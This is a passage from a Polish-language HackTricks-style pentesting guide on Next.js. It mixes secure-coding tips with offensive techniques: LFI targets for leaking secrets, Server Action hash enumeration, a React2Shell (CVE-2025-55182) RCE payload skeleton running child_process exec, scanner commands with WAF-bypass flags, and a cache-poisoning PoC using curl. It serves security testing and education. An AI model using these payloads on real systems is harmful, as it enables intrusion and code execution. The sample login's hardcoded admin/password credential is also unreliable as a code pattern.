process.env.VARIABLE_NAME, aby uzyskać dostęp do zmiennych środowiskowych. - Nigdy nie ujawniaj sekretów po stronie klienta: Upewnij się, że wrażliwe zmienne są używane tylko po stronie serwera.
Przykład:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Uwaga: Aby ograniczyć zmienne tylko do strony serwera, pomiń je w obiekcie env lub poprzedź je prefiksem NEXT_PUBLIC_, aby ujawnić je po stronie klienta.
Przydatne artefakty serwera do celowania przez endpointy LFI/download
Jeśli znajdziesz path traversal lub download API w aplikacji Next.js, celuj w skompilowane artefakty, które leakują sekrety po stronie serwera i logikę uwierzytelniania:
.env/.env.localdla sekretów sesji i poświadczeń providerów..next/routes-manifest.jsoni.next/build-manifest.jsondla pełnej listy tras..next/server/pages/api/auth/[...nextauth].jsaby odzyskać skompilowaną konfigurację NextAuth (często zawiera fallback passwords gdy wartościprocess.envnie są ustawione).next.config.js/next.config.mjsaby przejrzeć rewrites, redirects i routing middleware.
Uwierzytelnianie i autoryzacja
Podejście:
- Uwierzytelnianie oparte na sesjach: Use cookies to manage user sessions.
- Token-Based Authentication: Implement JWTs for stateless authentication.
- Third-Party Providers: Integrate with OAuth providers (e.g., Google, GitHub) using libraries like
next-auth.
Zasady bezpieczeństwa:
- Secure Cookies: Ustaw atrybuty
HttpOnly,SecureiSameSite. - Password Hashing: Zawsze haszuj hasła przed ich przechowywaniem.
- Input Validation: Zapobiegaj atakom typu injection poprzez walidację i sanityzację danych wejściowych.
Przykład:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Optymalizacja wydajności
Strategie:
- Optymalizacja obrazów: Użyj komponentu Next.js
next/imagedo automatycznej optymalizacji obrazów. - Dzielenie kodu: Wykorzystaj dynamiczne importy, aby rozdzielić kod i zmniejszyć czas ładowania początkowego.
- Buforowanie: Wdróż strategie buforowania dla odpowiedzi API i zasobów statycznych.
- Ładowanie leniwe: Ładuj komponenty lub zasoby tylko wtedy, gdy są potrzebne.
Przykład:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeracja (hash to function name via source maps)
Nowoczesny Next.js używa “Server Actions”, które wykonują się na serwerze, ale są wywoływane z klienta. W produkcji te wywołania są nieprzejrzyste: wszystkie POSTs trafiają na wspólny endpoint i są rozróżniane przez build-specific hash wysyłany w nagłówku Next-Action. Przykład:
POST /
Next-Action: a9f8e2b4c7d1...
Gdy productionBrowserSourceMaps jest włączony, zminifikowane pliki JS zawierają wywołania createServerReference(...), które leakują wystarczającą strukturę (oraz powiązane mapy źródeł), aby odtworzyć mapowanie między hash’em akcji a oryginalną nazwą funkcji. Pozwala to przetłumaczyć hashe zaobserwowane w Next-Action na konkretne cele, takie jak deleteUserAccount() czy exportFinancialData().
Podejście ekstrakcji (regex na zminifikowanych plikach JS + opcjonalne mapy źródeł)
Przeszukaj pobrane pliki JS w poszukiwaniu createServerReference i wyodrębnij hash oraz symbol funkcji/źródła. Dwa przydatne wzorce:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grupa 1: hash akcji serwera (40+ hex chars)
- Grupa 2: symbol lub ścieżka, którą można rozwiązać do oryginalnej nazwy funkcji za pomocą source map, jeśli jest dostępna
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Practical workflow
- Pasywne wykrywanie podczas przeglądania: przechwytuj żądania z nagłówkami
Next-Actioni URL-ami chunków JS. - Pobierz powiązane bundlery JS i towarzyszące pliki
*.map(jeśli są). - Uruchom powyższy regex, aby zbudować słownik hash↔name.
- Użyj słownika do ukierunkowanego testowania:
- Name-driven triage (e.g.,
transferFunds,exportFinancialData). - Śledź pokrycie między buildami według nazwy funkcji (hashy rotują między buildami).
Exercising hidden actions (template-based request)
Weź ważne POST zaobserwowane w-proxy jako szablon i zamień wartość Next-Action, aby zaadresować inną odkrytą akcję:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Odtwórz w Repeater i przetestuj autoryzację, walidację wejścia oraz logikę biznesową akcji inaczej niedostępnych.
Automatyzacja Burp
- NextjsServerActionAnalyzer (Burp extension) automatyzuje powyższe w Burp:
- Przeszukuje historię proxy w poszukiwaniu chunków JS, wyciąga wpisy
createServerReference(...)i parsuje source maps, gdy są dostępne. - Utrzymuje przeszukiwalny słownik hash↔nazwa-funkcji i eliminuje duplikaty między buildami według nazwy funkcji.
- Może znaleźć ważny szablonowy POST i otworzyć gotową do wysłania kartę Repeater z podstawionym hashem akcji docelowej.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Uwagi i ograniczenia
- Wymaga włączenia
productionBrowserSourceMapsw produkcji, aby odzyskać nazwy z bundles/source maps. - Ujawnienie nazwy funkcji samo w sobie nie jest podatnością; wykorzystaj je do ukierunkowania odkryć i przetestowania autoryzacji każdej akcji.
RCE związane z deserializacją protokołu Flight w React Server Components (CVE-2025-55182)
Deploymenty Next.js App Router, które eksponują Server Actions na react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x), zawierają krytyczny server-side prototype pollution podczas deserializacji chunków Flight. Poprzez tworzenie odwołań $ wewnątrz payloadu Flight, atakujący może przejść od zanieczyszczonych prototypów do wykonania dowolnego JavaScript, a następnie do wykonania poleceń systemu operacyjnego wewnątrz procesu Node.js.
NodeJS - proto & prototype Pollution
Łańcuch ataku w chunkach Flight
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Szkielet payloadu
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapowanie ujawnienia React Server Function
React Server Functions (RSF) to wszystkie funkcje, które zawierają dyrektywę ‘use server’;. Każda akcja formularza, mutacja lub fetch helper powiązany z jedną z tych funkcji staje się endpointem RSC Flight, który chętnie zdeserializuje attacker-supplied payloads. Przydatne kroki rekonesansu wynikające z ocen React2Shell:
- Static inventory: szukaj dyrektywy, aby zrozumieć, ile RSFs jest automatycznie wystawianych przez framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appwłącza App Router + katalogapp/domyślnie, co bezgłośnie zamienia każdą trasę w endpoint obsługujący RSC. Zasoby App Router takie jak/_next/static/chunks/app/lub odpowiedzi strumieniujące Flight chunks przeztext/x-componentsą silnymi sygnaturami widocznymi w Internecie. - Implicitly vulnerable RSC deployments: Oficjalne advisory React zauważa, że aplikacje dostarczające runtime RSC mogą być wykorzystywane nawet bez wyraźnych RSFs, więc traktuj każdy build używający
react-server-dom-*19.0.0–19.2.0 jako podejrzany. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, itd. korzystają z tego samego serializer i dziedziczą identyczną zdalną powierzchnię ataku, dopóki nie osadzą załatanych buildów React.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: podatne w 19.0.0, 19.1.0–19.1.1 i 19.2.0; załatane w 19.0.1, 19.1.2 i 19.2.1 odpowiednio.- Next.js stable: wydania App Router 15.0.0–16.0.6 zawierają podatny stos RSC. Serie poprawek 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 zawierają naprawione zależności, więc każdy build poniżej tych wersji ma wysoką wartość.
- Next.js canary:
14.3.0-canary.77+także dostarcza wadliwy runtime i obecnie brakuje załatanych canary dropów, co czyni te sygnatury mocnymi kandydatami do eksploatacji.
Remote detection oracle
Assetnote’s react2shell-scanner wysyła spreparowany multipartowy Flight request do kandydackich ścieżek i obserwuje zachowanie po stronie serwera:
- Default mode wykonuje deterministyczny payload RCE (operacja matematyczna odzwierciedlona przez
X-Action-Redirect) potwierdzając wykonanie kodu. --safe-checkmode celowo uszkadza wiadomość Flight tak, że załatane serwery zwracają200/400, podczas gdy podatne cele emitują odpowiedziHTTP/500zawierające podciągE{"digest"w treści. Ta para(500 + digest)jest obecnie najbardziej niezawodnym zdalnym oraklem opublikowanym przez defenderów.- Wbudowane przełączniki
--waf-bypass,--vercel-waf-bypassi--windowsdopasowują układ payloadu, dodają śmieci na początku lub zamieniają polecenia systemowe, aby umożliwić sondowanie prawdziwych zasobów Internetu.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Inne niedawne problemy App Router (koniec 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a
text/x-componentbody with abusive$references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.
- Triage tip: Niezałatane cele zwracają
500zE{"digest"po malformed Flight payloads; patched builds zwracają400/200. Testuj każdy endpoint już streamujący Flight chunks (szukaj nagłówkówNext-Actionlub odpowiedzitext/x-component) i replay z zmodyfikowanym payloadem.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – brak nagłówka
Varypozwala, by odpowiedźAccept: text/x-componentzostała zcache’owana i podana do przeglądarek oczekujących HTML. Jedno żądanie inicjujące (priming request) może zastąpić stronę surowymi RSC payloadami. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


